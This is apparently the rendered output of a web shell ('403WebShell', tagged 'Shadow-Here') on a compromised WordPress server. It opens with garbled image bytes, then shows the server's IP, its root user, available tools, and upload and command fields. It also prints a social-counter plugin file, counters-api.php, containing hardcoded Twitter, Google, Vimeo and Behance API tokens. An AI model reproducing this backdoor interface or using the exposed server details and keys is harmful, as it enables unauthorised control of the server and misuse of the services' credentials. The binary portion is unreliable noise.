RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/sodaltech/wp-content/plugins/wp-social/lib/counter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/sodaltech/wp-content/plugins/wp-social/lib/counter/counters-api.php
<?php

defined('ABSPATH') || exit;

$xsc_data         = array();
$xsc_options      = get_option('xs_counter_options') ? get_option('xs_counter_options') : array('data' => array());
$xsc_transient    = get_transient('xs_counters_data');
$xsc_options_save = get_option('xs_counter_providers_data') ? get_option('xs_counter_providers_data') : [];

if(empty($xsc_transient) || (false === $xsc_transient)) {
	$xsc_transient = [];
}

/**
 * Twitter Followers Count
 * todo - we are not using this function any more, check for other reference and delete it
 *
 */
if(!function_exists('xsc_twitter_count')) :
	function xsc_twitter_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['twitter'])) {
			$result = $xsc_transient['twitter'];
		} elseif(empty($xsc_transient['twitter']) && !empty($xsc_data) && !empty($xsc_options['data']['twitter'])) {
			$result = $xsc_options['data']['twitter'];
		} else {
			$result = '';
			$id = isset($xsc_options_save['social']['twitter']['id']) ? $xsc_options_save['social']['twitter']['id'] : 'xpeedstudio';
			$default_token = 'AAAAAAAAAAAAAAAAAAAAAJBzagAAAAAAXr%2Fxj2UWtV%2BnQNigsUm%2Bjrlkr4o%3DoYt2AFQFvPpPsJ1wtVmJ3MLetbYnmTWLFzDZJWLnXZtRJRZKOQ';
			$token = get_option('xs_counter_twitter_token') ? get_option('xs_counter_twitter_token') : '';
			$token = strlen($token) > 5 ? $token : $default_token;

			$args = [
				'httpversion' => '1.1',
				'blocking'    => true,
				'timeout'     => 10,
				'headers'     => [
					'Authorization'   => "Bearer $token",
					'Accept-Language' => 'en',
				],
			];

			add_filter('https_ssl_verify', '__return_false');
			$api_url = "https://api.twitter.com/1.1/users/show.json?screen_name=$id";
			$response = xsc_remote_get($api_url, true, $args);

			/**
			 * We will show actual count always if user gives the access token
			 * even if it is 0!
			 */
			if(isset($response['followers_count'])) {
				$result = intval($response['followers_count']);
			}


			if(!empty($result)) //To update the stored data
			{
				$xsc_data['twitter'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['twitter'])) //Get the stored data
			{
				$result = $xsc_options['data']['twitter'];
			}
		}

		return (int)$result;

	}
endif;

/**
 * Facebook Fans
 */

if(!function_exists('xsc_facebook_count')) :
	function xsc_facebook_count($cache_time = 43000) {

		//todo - delete it.

		return 0;


		$tran_key = '_xs_social_facebook_count_';

		$trans_value = get_transient($tran_key);

		if(false === $trans_value) {

			global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

			$counter = 0;


			if(!empty($xsc_transient['facebook'])) {
				$counter = $xsc_transient['facebook'];
			} elseif(empty($xsc_transient['facebook']) && !empty($xsc_data) && !empty($xsc_options['data']['facebook'])) {
				$counter = $xsc_options['data']['facebook'];
			} else {

				$counter = '';

				$social_id = isset($xsc_options_save['social']['facebook']['id']) ? $xsc_options_save['social']['facebook']['id'] : 'xpeedstudio';

				$get_request = wp_remote_get("https://www.facebook.com/plugins/likebox.php?href=https://facebook.com/$social_id&show_faces=true&header=false&stream=false&show_border=false&locale=en_US", ['timeout' => 20]);
				$the_request = wp_remote_retrieve_body($get_request);

				$pattern = '/_1drq[^>]+>(.*?)<\/a/s';
				preg_match($pattern, $the_request, $matches);

				if(!empty($matches[1])) {
					$number = strip_tags($matches[1]);

					foreach(str_split($number) as $char) {
						if(is_numeric($char)) {
							$counter .= $char;
						}
					}
				}

				if(!empty($counter)) //To update the stored data
				{
					$xsc_data['facebook'] = $counter;
				}

				if(empty($counter) && !empty($xsc_options['data']['facebook'])) //Get the stored data
				{
					$counter = $xsc_options['data']['facebook'];
				}
			}

			$expiration_time = empty($cache_time) ? 43200 : intval($cache_time);

			set_transient($tran_key, $counter, $expiration_time);
			update_option('_xs_social_facebook_last_cached', time());

			return (int)$counter;
		}

		return (int)$trans_value;

	}
endif;

/**
 * Google+ Followers
 */

if(!function_exists('xsc_google_count')) :
	function xsc_google_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['google'])) {
			$result = $xsc_transient['google'];
		} elseif(empty($xsc_transient['google']) && !empty($xsc_data) && !empty($xsc_options['data']['google'])) {
			$result = $xsc_options['data']['google'];
		} else {
			$id = (isset($xsc_options_save['social']['google']['id']) && strlen($xsc_options_save['social']['google']['id']) > 5) ? $xsc_options_save['social']['google']['id'] : 'google';
			$key = (isset($xsc_options_save['social']['google']['key']) && strlen($xsc_options_save['social']['google']['key']) > 4) ? $xsc_options_save['social']['google']['key'] : 'AIzaSyBAwpfyAadivJ6EimaAOLh-F1gBeuwyVoY';

			try {
				// Get googleplus data.
				$googleplus_data = xsc_remote_get('https://www.googleapis.com/plus/v1/people/' . $id . '?key=' . $key);

				if(isset($googleplus_data['circledByCount'])) {
					$result = (int)$googleplus_data['circledByCount'];
				}
			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['google'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['google'])) //Get the stored data
			{
				$result = $xsc_options['data']['google'];
			}
		}

		return $result;

	}
endif;


/**
 * Youtube Subscribers
 * todo - No more needed, use this class - lib/provider/counter/youtube-counter.php
 */
if(!function_exists('xsc_youtube_count')) :
	function xsc_youtube_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['youtube'])) {
			$result = $xsc_transient['youtube'];
		} elseif(empty($xsc_transient['youtube']) && !empty($xsc_data) && !empty($xsc_options['data']['youtube'])) {
			$result = $xsc_options['data']['youtube'];
		} else {
			$result = '';
			$id = (isset($xsc_options_save['social']['youtube']['id']) && strlen($xsc_options_save['social']['youtube']['id']) > 5) ? $xsc_options_save['social']['youtube']['id'] : 'UCJp-j8uvirVgez7TDAmfGYA';
			$api = (isset($xsc_options_save['social']['youtube']['key']) && strlen($xsc_options_save['social']['youtube']['key']) > 4) ? $xsc_options_save['social']['youtube']['key'] : 'AIzaSyBAwpfyAadivJ6EimaAOLh-F1gBeuwyVoY';
			try {
				if(!empty($xsc_options_save['social']['youtube']['type']) && $xsc_options_save['social']['youtube']['type'] == 'Channel') {
					$data = @xsc_remote_get("https://www.googleapis.com/youtube/v3/channels?part=statistics&id=$id&key=$api");
				} else {
					$data = @xsc_remote_get("https://www.googleapis.com/youtube/v3/channels?part=statistics&forUsername=$id&key=$api");
				}
				$result = (int)isset($data['items'][0]['statistics']['subscriberCount']) ? $data['items'][0]['statistics']['subscriberCount'] : 0;

			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['youtube'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['youtube'])) //Get the stored data
			{
				$result = $xsc_options['data']['youtube'];
			}
		}

		return (int)$result;

	}
endif;


/**
 * Vimeo Subscribers
 */
if(!function_exists('xsc_vimeo_count')) :
	function xsc_vimeo_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['vimeo'])) {
			$result = $xsc_transient['vimeo'];
		} elseif(empty($xsc_transient['vimeo']) && !empty($xsc_data) && !empty($xsc_options['data']['vimeo'])) {
			$result = $xsc_options['data']['vimeo'];
		} else {
			$id = isset($xsc_options_save['social']['vimeo']['id']) ? $xsc_options_save['social']['vimeo']['id'] : 'user1837238';
			try {
				//$data 	= xsc_remote_get( "http://vimeo.com/api/v2/channel/$id/info.json" );
				$default_token = '6m4GyfcFCklFySPiz9DDqup1gbL9oqkj';
				$token = get_option('xs_counter_VimeoToken') ? get_option('xs_counter_VimeoToken') : '';
				$token = strlen($token) > 5 ? $token : $default_token;

				$args = [
					'httpversion' => '1.1',
					'blocking'    => true,
					'timeout'     => 10,
					'headers'     => [
						'Authorization' => "bearer $token",
					],
				];
				$api_url = "http://vimeo.com/api/v2/channel/$id/info.json";
				$data = xsc_remote_get($api_url, true, $args);
				print_r($data);
				$result = (int)isset($data['total_subscribers']) ? $data['total_subscribers'] : 0;
			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['vimeo'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['vimeo'])) //Get the stored data
			{
				$result = $xsc_options['data']['vimeo'];
			}
		}

		return $result;

	}
endif;


/**
 * Dribbble Followers
 * todo - No more needed, use this class - lib/provider/counter/dribbble-counter.php
 */
if(!function_exists('xsc_dribbble_count')) :
	function xsc_dribbble_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['dribbble'])) {
			$result = $xsc_transient['dribbble'];
		} elseif(empty($xsc_transient['dribbble']) && !empty($xsc_data) && !empty($xsc_options['data']['dribbble'])) {
			$result = $xsc_options['data']['dribbble'];
		} else {
			$result = '';
			$id = isset($xsc_options_save['social']['dribbble']['id']) ? $xsc_options_save['social']['dribbble']['id'] : 'NicolasIbrahim';


			$default_token = 'doesNotWork';
			$token = get_option('xs_counter_dribbble_token') ? get_option('xs_counter_dribbble_token') : '';
			$token = strlen($token) > 5 ? $token : $default_token;

			try {
				$data = @xsc_remote_get("https://api.dribbble.com/v2/user/$id?access_token=$token");
				$result = (int)isset($data['followers_count']) ? $data['followers_count'] : 0;

			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['dribbble'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['dribbble'])) //Get the stored data
			{
				$result = $xsc_options['data']['dribbble'];
			}
		}

		return (int)$result;

	}
endif;


/**
 * Github Followers
 */
if(!function_exists('xsc_github_count')) :
	function xsc_github_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['github'])) {
			$result = $xsc_transient['github'];
		} elseif(empty($xsc_transient['github']) && !empty($xsc_data) && !empty($xsc_options['data']['github'])) {
			$result = $xsc_options['data']['github'];
		} else {
			$id = isset($xsc_options_save['social']['github']['id']) ? $xsc_options_save['social']['github']['id'] : 'VingtCinq';
			try {
				$data = @xsc_remote_get("https://api.github.com/users/$id");
				$result = (int)$data['followers'];
			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['github'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['github'])) //Get the stored data
			{
				$result = $xsc_options['data']['github'];
			}
		}

		return $result;

	}
endif;


/**
 * Envato Followers
 */
if(!function_exists('xsc_envato_count')) :
	function xsc_envato_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['envato'])) {
			$result = $xsc_transient['envato'];
		} elseif(empty($xsc_transient['envato']) && !empty($xsc_data) && !empty($xsc_options['data']['envato'])) {
			$result = $xsc_options['data']['envato'];
		} else {
			//https://build.envato.com/api/
			$id = isset($xsc_options_save['social']['envato']['id']) ? $xsc_options_save['social']['envato']['id'] : 'xpeedstudio';
			try {
				//$data 	= @xsc_remote_get("http://marketplace.envato.com/api/edge/user:$id.json");
				$default_token = '6m4GyfcFCklFySPiz9DDqup1gbL9oqkj';
				$token = get_option('xs_counter_EnvatoToken') ? get_option('xs_counter_EnvatoToken') : '';
				$token = strlen($token) > 5 ? $token : $default_token;

				$args = [
					'httpversion' => '1.1',
					'blocking'    => true,
					'timeout'     => 10,
					'headers'     => [
						'Authorization' => "Bearer $token",
					],
				];
				$api_url = "https://api.envato.com/v1/market/user:$id.json";
				$data = xsc_remote_get($api_url, true, $args);
				print_r($data);
				$result = (int)isset($data['user']['followers']) ? $data['user']['followers'] : 0;
			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['envato'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['envato'])) //Get the stored data
			{
				$result = $xsc_options['data']['envato'];
			}
		}

		return $result;

	}
endif;


/**
 * SoundCloud Followers
 */
if(!function_exists('xsc_soundcloud_count')) :
	function xsc_soundcloud_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['soundcloud'])) {
			$result = $xsc_transient['soundcloud'];
		} elseif(empty($xsc_transient['soundcloud']) && !empty($xsc_data) && !empty($xsc_options['data']['soundcloud'])) {
			$result = $xsc_options['data']['soundcloud'];
		} else {
			$id = $xsc_options_save['social']['soundcloud']['id'];
			$api = $xsc_options_save['social']['soundcloud']['api'];
			try {
				$data = @xsc_remote_get("http://api.soundcloud.com/users/$id.json?consumer_key=$api");
				$result = (int)$data['followers_count'];
			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['soundcloud'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['soundcloud'])) //Get the stored data
			{
				$result = $xsc_options['data']['soundcloud'];
			}
		}

		return $result;

	}
endif;


/**
 * Behance Followers
 */
if(!function_exists('xsc_behance_count')) :
	function xsc_behance_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['behance'])) {
			$result = $xsc_transient['behance'];
		} elseif(empty($xsc_transient['behance']) && !empty($xsc_data) && !empty($xsc_options['data']['behance'])) {
			$result = $xsc_options['data']['behance'];
		} else {
			$id = isset($xsc_options_save['social']['behance']['id']) ? $xsc_options_save['social']['behance']['id'] : 'mostafahazi';
			$api = isset($xsc_options_save['social']['behance']['api']) ? $xsc_options_save['social']['behance']['api'] : 'INekEPLWGFlXlfmWjjOZD79vWNaD1Nxj';
			try {
				$url = sprintf(
					'https://www.behance.net/v2/users/%s?api_key=%s',
					$id,
					$api
				);
				$data = xsc_remote_get($url);
				//print_r($data);
				$result = (int)isset($data['user']['stats']['followers']) ? $data['user']['stats']['followers'] : 0;
			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['behance'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['behance'])) //Get the stored data
			{
				$result = $xsc_options['data']['behance'];
			}
		}

		return $result;

	}
endif;
